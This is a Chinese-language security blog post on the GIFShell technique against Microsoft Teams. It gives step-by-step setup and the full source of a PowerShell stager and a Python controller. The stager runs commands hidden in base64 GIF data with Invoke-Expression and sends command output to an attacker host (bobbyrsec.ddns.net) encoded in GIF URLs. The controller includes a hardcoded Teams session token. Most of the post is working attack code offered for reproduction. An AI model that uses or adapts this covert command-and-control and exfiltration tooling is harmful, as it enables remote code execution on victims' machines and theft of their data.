通过特制的GIF动态图窃取Microsoft Teams用户凭据的漏洞
作者:Sec-Labs | 发布时间:
介绍
复现上述攻击链需要一些先决条件:
- GIFShell Python脚本,应该在攻击者的机器上执行
- GIFShell Powershell stager,在受害者的机器上执行。
- 两个微软Azure组织或租户。攻击者组织或租户应该至少有2个用户,而受害者组织应该至少有1个用户。这是为了测试Microsoft Teams工作版
- 两个个人使用的Microsoft Teams用户。这是为了测试Microsoft Teams家庭版
- 一个具有公开可用的Webhook的Team频道
- 一个您选择的GIF
- 一个面向公众的IP,可用作传入网络请求的监听器
步骤
打开Python脚本,用你作为攻击者运行Microsoft Teams的认证浏览器会话中的skypetoken_asm cookie值编辑token变量的实例
以攻击者身份打开Microsoft Teams,并与受害者创建一个新的聊天。查看网络流量,并提取此对话的Teams URL。该URL应该是“https://amer.ng.msg.teams.microsoft.com/v1/users/ME/conversations/<unique-identifier>@unq.gbl.spaces/messages”的形式。
打开GIFShell Python脚本,用步骤#2的URL编辑burp_url变量的实例。
在以攻击者身份运行Microsoft Teams的认证浏览器会话中,打开与攻击者创建的webhook相关的Microsoft Teams聊天。
在攻击者的机器上运行GIFShell Python脚本--这将创建一个提示,输入要在受害者机器上运行的命令。
打开GIFShell Powershell stager脚本,编辑$originalendpoint和$gifendpoint变量,将域名改为攻击机器的公共IP地址
打开GIFShell的Powershell stager脚本,编辑$response变量,把webhook改成攻击者公开的webhook的值。
在受害者的机器上运行Powershell stager脚本
在GIFShell Python脚本提示下执行所需的命令
确保在执行所需的命令时,Teams应用程序对与公开可用的webhook相关的聊天打开。
项目地址
https://github.com/bobbyrsec/Microsoft-Teams-GIFShell
核心代码
TeamsShell.ps1
$importPath = "C:\Users\bobbyrauch\AppData\Roaming\Microsoft\Teams\IndexedDB\https_teams.microsoft.com_0.indexeddb.leveldb\*.log"
$originalendpoint = 'http://bobbyrsec.ddns.net:80/.gif'
while ($true) {
$firstString = "paving<img alt=`"Red Lold`" src=`"data:image/png;base64, "
$secondString = "`" />roads"
$text = Get-Content $importPath
#Sample pattern
$pattern = "(?<=$firstString).*?(?=$secondString)"
$output = [regex]::Matches($text,$pattern).value
$output = $output -replace '\s',''
$output -is [array]
$b = $output[$output.Length-2]
echo $b.GetType()
$b = $b.Trim()
$b = $b -replace '[^a-zA-Z0-9`++`/+`=+`.+]', ''
$DecodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b))
echo $DecodedText
$DecodedText2 = $DecodedText.Substring($DecodedText.IndexOf("`;hello;")+7)
echo $DecodedText2
If ($DecodedText2 -ne 'start') {
$cmdOutput = Invoke-Expression $DecodedText2 | Out-String
$cmdOutput = $cmdOutput.ToString()
echo $cmdOutput
$encodedBytes = [System.Text.Encoding]::UTF8.GetBytes($cmdOutput)
$encodedText = [System.Convert]::ToBase64String($encodedBytes)
echo $encodedText
$gifendpoint = "http://bobbyrsec.ddns.net:80/"+$encodedText+".gif"
$gifendpoint
If ($originalendpoint -ne $gifendpoint) {
echo "MADE IT"
$originalendpoint = $gifendpoint
echo $originalendpoint
echo $gifendpoint
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")
$body = "{`n `"@type`": `"MessageCard`",`n `"@context`": `"https://schema.org/extensions`",`n `"summary`": `"2 new Yammer posts`",`n `"themeColor`": `"0078D7`",`n `"sections`": [`n {`n `"activityImage`":`""+ $gifendpoint + "`",`n `"activityTitle`": `"Chase Miller`",`n `"activitySubtitle`": `"2 hours ago - 3 comments`",`n `"facts`": [`n {`n `"name`": `"Keywords:`",`n `"value`": `"Surface`"`n },`n {`n `"name`": `"Group:`",`n `"value`": `"Helpdesk Support`"`n }`n ],`n `"text`": `"Can You Solve the Math Problem That Is Baffling the Internet? More than 530,000 people were commenting on one single Facebook picture. Are you smart enough to figure it out?`",`n `"potentialAction`": [`n {`n `"@type`": `"OpenUri`",`n `"name`": `"View conversation`"`n }`n ]`n }`n `n ]`n}"
echo $body
$response = Invoke-RestMethod 'https://bobbyrsectest.webhook.office.com/webhookb2/bc51c234-1bdb-4136-8d0c-a391bdff5a82@656d3e19-4c3c-48cb-957b-b5bce1cb7bc0/IncomingWebhook/36708044a98d44c7a25ce78315f7a09b/9e02156d-981c-4a84-b2bf-0c5cc1382b8c' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json
}
}
}
TeamsShell.py
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import base64
import threading
import requests
from base64 import b64decode, b64encode
command_history = []
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
self._set_response()
if "gif" in self.path and self.path != "/.gif":
if self.path not in command_history:
command_history.append(self.path)
s = self.path
trimmed = s[:s.find('.gif')]
trimmed = trimmed.replace("/", "")
try:
trimmed = base64.b64decode(trimmed).decode("utf-8")
print(trimmed)
command_intake()
except:
trimmed = base64.b64decode(trimmed + '=').decode("utf-8")
print(trimmed)
command_intake()
def log_message(self, format, *args):
return
def command_intake():
val = input("> ")
my_str = val
my_str_as_bytes = str.encode("hello;" + my_str)
with open("giphy2.gif", "rb") as f:
original = (f.read())
test = ''
original2 = original + my_str_as_bytes
base64_gif_encoded = base64.b64encode(original2)
base64_gif_encoded = base64_gif_encoded.decode()
test = base64_gif_encoded
burp0_url = "https://amer.ng.msg.teams.microsoft.com/v1/users/ME/conversations/19%3A021c78f1-2bc0-48b3-bf26-5a9b7e030133_9e02156d-981c-4a84-b2bf-0c5cc1382b8c%40unq.gbl.spaces/messages"
token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEwNCIsIng1dCI6IlJDM0NPdTV6UENIWlVKaVBlclM0SUl4Szh3ZyIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2NTI2MjM3NjIsImV4cCI6MTY1MjY5ODk3NCwic2t5cGVpZCI6Im9yZ2lkOjllMDIxNTZkLTk4MWMtNGE4NC1iMmJmLTBjNWNjMTM4MmI4YyIsInNjcCI6NzgwLCJjc2kiOiIxNjUyNjIzNDYyIiwidGlkIjoiNjU2ZDNlMTktNGMzYy00OGNiLTk1N2ItYjViY2UxY2I3YmMwIiwicmduIjoiYW1lciJ9.vMl4YD5i-Ix2D54I8Tw4lzf9T9aOt1hvERhXNjqUQEPguKZN3xuO9ioDIPjKRkxe-KRM3HTcO_gpmzVePmxbsLaX0XpmCIKjBBYry2dw0V0QaRp3jF7L1MDwwq5I9nfSFoYtXoNj4mXsNBscACyZNDuQHgQaDdZQVSSnByZ6nLcJ8ttUwUwWU-dQyKpYA2nhvHqHPb4bpPsy2wftX9JET3nhJggLuztJRUfO31MOw6i4Te5p3W_hpbpjI4CqQZjcK0K3aIjJzrD8Efdw0qgA4qZs6QKTImpQkUSMT_AVJKEd-NxFBOVe3q4MA_Ac20yZCJKxzsalrhmYk0MnuzjbOw"
burp0_headers = {"Authentication": "skypetoken="+token}
burp0_json = {"content": "<p>paving<img alt=\"Red Lold\" src=\"data:image/png;base64, %s\" />roads</p>" %
(test), "contenttype": "text", "messagetype": "RichText/Html"}
response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
def send_start():
my_str = "start"
my_str_as_bytes = str.encode("hello;" + my_str)
with open("giphy2.gif", "rb") as f:
original = (f.read())
test = ''
original2 = original + my_str_as_bytes
base64_gif_encoded = base64.b64encode(original2)
base64_gif_encoded = base64_gif_encoded.decode()
test = base64_gif_encoded
burp0_url = "https://amer.ng.msg.teams.microsoft.com/v1/users/ME/conversations/19%3A021c78f1-2bc0-48b3-bf26-5a9b7e030133_9e02156d-981c-4a84-b2bf-0c5cc1382b8c%40unq.gbl.spaces/messages"
token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEwNCIsIng1dCI6IlJDM0NPdTV6UENIWlVKaVBlclM0SUl4Szh3ZyIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2NTI2MjM3NjIsImV4cCI6MTY1MjY5ODk3NCwic2t5cGVpZCI6Im9yZ2lkOjllMDIxNTZkLTk4MWMtNGE4NC1iMmJmLTBjNWNjMTM4MmI4YyIsInNjcCI6NzgwLCJjc2kiOiIxNjUyNjIzNDYyIiwidGlkIjoiNjU2ZDNlMTktNGMzYy00OGNiLTk1N2ItYjViY2UxY2I3YmMwIiwicmduIjoiYW1lciJ9.vMl4YD5i-Ix2D54I8Tw4lzf9T9aOt1hvERhXNjqUQEPguKZN3xuO9ioDIPjKRkxe-KRM3HTcO_gpmzVePmxbsLaX0XpmCIKjBBYry2dw0V0QaRp3jF7L1MDwwq5I9nfSFoYtXoNj4mXsNBscACyZNDuQHgQaDdZQVSSnByZ6nLcJ8ttUwUwWU-dQyKpYA2nhvHqHPb4bpPsy2wftX9JET3nhJggLuztJRUfO31MOw6i4Te5p3W_hpbpjI4CqQZjcK0K3aIjJzrD8Efdw0qgA4qZs6QKTImpQkUSMT_AVJKEd-NxFBOVe3q4MA_Ac20yZCJKxzsalrhmYk0MnuzjbOw"
burp0_headers = {"Authentication": "skypetoken="+token}
burp0_json = {"content": "<p>paving<img alt=\"Red Lold\" src=\"data:image/png;base64, %s\" />roads</p>" %
(test), "contenttype": "text", "messagetype": "RichText/Html"}
response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
def run(server_class=HTTPServer, handler_class=S, port=80):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
try:
send_start()
command_intake()
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()